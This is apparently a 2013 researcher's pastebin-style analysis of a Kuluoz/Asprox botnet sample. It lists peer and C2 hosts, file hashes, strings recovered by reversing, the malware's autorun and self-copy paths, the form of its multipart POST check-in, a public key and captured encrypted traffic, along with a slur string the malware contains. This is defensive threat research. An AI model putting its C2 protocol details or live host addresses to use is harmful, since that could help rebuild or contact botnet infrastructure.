========================== #MalwareMustDie BOTNET KULUOZ/ ASPROX BACK WITH NEW EXCYPTION @unixfreaxjp /malware/temp]$ date Tue Nov 12 22:23:08 JST 2013 Peers (host) with ports 8080: 66-29-254-132.ds1-static.mia1.net.ststelecom.com mail.colegioamazonas.edu.ec hosted-by.shineservers.com host.colocrossing.com web.globalcell.ge gunnebojohnson.com ========================== SAMPLE ANALYZED: https://www.virustotal.com/en/file/1b78b14147d61ea245e588eb208c49bf678da968938751155f06d0f2a8a189b1/analysis/ MD5 ec52855b7e522a977330519a8a201993 SHA1 b09e1a0fb067f2114e186bba5d848dbd7d663325 SHA256 1b78b14147d61ea245e588eb208c49bf678da968938751155f06d0f2a8a189b1 // ============================== // QUICK REVERSING ANALYSIS: // ============================== // Accessing the Security Center: ROOT\SecurityCenter ROOT\SecurityCenter2 SELECT * FROM AntiVirusProduct ROOT\SecurityCenter ROOT\SecurityCenter2 SELECT * FROM FirewallProduct // Grabbing Which ssolution you usd: displayName // Series of request POST command: // explanation: The URL name and port numbers are in variables , for proxies. http://%[^:]:%d/%s // UserAgent Used is Static (not variable) PlainText in binary (Need to decrypt to see it) // The method is POST // The hash for request was structured "yvy5VtvLVvh6soaja2YuyfrC" in my case. // plaintext was used for the form of POST to fetch name="key"; filename="key.bin" and name="data"; filename="data.bin" // It is bind to :svchost.exe Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 GET yvy5VtvLVvh6soaja2YuyfrC svchost.exe Content-Type: multipart/form-data; boundary= Content-Disposition: form-data; name="key"; filename="key.bin" Content-Type: application/octet-stream svchost.exe Content-Disposition: form-data; name="data"; filename="data.bin" Content-Type: application/octet-stream Content-Length: %d // Requested command: /index.php?r=gate Which posting infected ID data of: %s%s%d%d%s // Yes, it is supposed to autorun in: Software\Microsoft\Windows\CurrentVersion\Run // Self-copied: C:\Documents and Settings\User\Local Settings\Application Data\goktqtbh.exe (RANDOM..) // Kicking Notedpad: 0x4c0 svchost.exe C:\WINDOWS\system32\svchost.exe 0x768 notepad.exe C:\WINDOWS\system32\NOTEPAD.EX with text... FATAL ERROR! Error while open file. (hex: 464154414C204552524F5221204572726F72207768696C65206F70656E2066696C652E00 ) // Botnet (fake?) version.. 1.0.6, 6-Sept-2010 // Still the same Rant detected.. see my previous pastebin: You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! You fag!!!!! // Added with these: For base!!!!! For base!!!!! For base!!!!! For base!!!!! For base!!!!! For base!!!!! For base!!!!! // ================== // ENCRYPTION TRACES // ================== // Data was encrypted using: Microsoft Base Cryptographic Provider v1.0 // Public Key Traces... -----BEGIN PUBLIC KEY----- jjj jjj jjj jjj jjj APH dLJ1rmxx+bAndp+Cz6+5I Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U 00SNFZ88nyVv33z9+wIDAQAB -----END PUBLIC KEY----- // Lotta MD5.. MD5Init MD5Update MD5Final ============================= RESPONSE FROM KULUOZ PEERS ============================ // DOWNLOADED DATA... // data.bin 0000 FD B1 64 DF 81 18 D7 F6 9D CB 3A 79 48 B9 BC B9 ..d.......:yH... 0010 1E FC C4 7C 3B 1B 0D BF 7A 3E DA 98 4D 09 C3 1B ...|;...z>..M... 0020 81 CF EF DF 4E 3A DA ED 69 B0 B9 3E 2F 45 BA 09 ....N:..i..>/E.. 0030 B5 6C 06 71 D1 A7 15 AA EF B9 A9 7D 27 81 F3 BA .l.q.......}'... 0040 92 F6 B7 46 95 C0 06 03 02 DD 0B C1 D9 96 90 27 ...F...........' 0050 5F E5 FB E7 B8 C2 9A C8 72 85 A4 41 F5 2F B0 5A _.......r..A./.Z 0060 C4 D8 D8 9C 1A 00 63 C3 24 39 6F 23 DA 96 89 63 ......c.$9o#...c 0070 F2 8D 0D 15 B3 29 40 D4 91 1B 07 18 22 7E ED B4 .....)@....."~.. 0080 56 FE D4 42 CF C2 8C 97 19 A9 99 E8 4B 1C 72 9C V..B........K.r. 0090 9B 4F AA DF A2 BB BE 72 58 11 7E 8C E1 0A 59 .O.....rX.~...Y // ===> This is suppose to be like this: (only example) // But can not figure the encryption yet... // All previous attempt failed... 0000 31 34 39 2e 32 31 30 2e 31 33 30 2e 31 38 3a 39 149.210.130.18:9 0010 39 33 0a 31 38 36 2e 31 31 32 2e 32 31 34 2e 31 93.186.112.214.1 0020 35 38 3a 38 30 38 30 0a 32 30 32 2e 32 39 2e 32 58:8080.202.29.2 0030 32 39 2e 32 33 32 3a 38 30 38 30 0a 31 37 38 2e 29.232:8080.178. 0040 32 30 38 2e 33 35 2e 31 39 30 3a 38 30 38 30 0a 208.35.190:8080. 0050 36 34 2e 37 36 2e 31 39 2e 32 34 31 3a 38 30 38 64.76.19.241:808 0060 30 0a 39 35 2e 31 37 33 2e 31 38 36 2e 31 38 34 0.95.173.186.184 0070 3a 38 30 38 30 0a 31 37 36 2e 31 32 32 2e 32 32 :8080.176.122.22 0080 34 2e 36 32 3a 38 30 38 30 0a 38 32 2e 31 39 32 4.62:8080.82.192 0090 2e 39 31 2e 32 32 34 3a 38 30 38 30 0a 38 34 2e .91.224:8080.84 // key.bin (dunno about this yet...) 0000 50 AA B1 3A 7E 51 02 90 D7 D4 C1 0D 52 48 AF EE P..:~Q......RH.. 0010 EA 86 86 6F D3 96 EF 15 22 98 35 B9 15 96 2D B1 ...o....".5...-. 0020 27 83 2E DE B7 3B B5 EB BA 74 78 E8 22 28 5D 49 '....;...tx."(]I 0030 B8 B1 00 A0 3C 10 D0 95 EB 03 67 7C 51 06 3B D7 ....<.....g|Q.;. 0040 1A 95 1E 7E BF 65 C0 CC 36 C2 D0 A2 E3 6D 24 F9 ...~.e..6....m$. 0050 9A CE D0 26 1B 0A A4 5E 6F FA 50 80 6C 22 57 24 ...&...^o.P.l"W$ 0060 26 D9 2F 0D EE F4 80 31 8D 26 24 DC 86 00 D0 DB &./....1.&$..... 0070 CF 31 EE C1 CF 9D AA EC 83 3C 99 75 ED 76 62 45 .1.......<.u.vbE // encrypted request in POST request...: ps: yvy5VtvLVvh6soaja2YuyfrC is my hashed PC ID // HEADER; POST /3D498A785E9515E72E2C4E241766ADFDF3DFED4670 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=yvy5VtvLVvh6soaja2YuyfrC Content-Length: 592 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 Host: 220.67.211.23:8080 Cache-Control: no-cache // DATA... yvy5VtvLVvh6soaja2YuyfrC Content-Disposition: form-data; name="key"; filename="key.bin" Content-Type: application/octet-stream ......ON?..u..Y..1.Kf`!.9.*...~.........Ey..p..[>_..S..4/%.N.L4....D.d.....) .V....56b.k..E....z.'l.......*..3.h..........w....N --yvy5VtvLVvh6soaja2YuyfrC Content-Disposition: form-data; name="data"; filename="data.bin" Content-Type: application/octet-stream .:.U.7T.I..O.{ym....,.i...&.s....U.|....|..z.....$&.........e..v+.6.[....3..........C...W..". h...&I..$t /E..4.... this is supposed to be like this to be matched.. (from binary reversing) // we need to know encryption used to popped the values of id, group, time, version, status and debug. %s%s%d%d%s Pleae take this research from here.. --- #MalwareMustDie!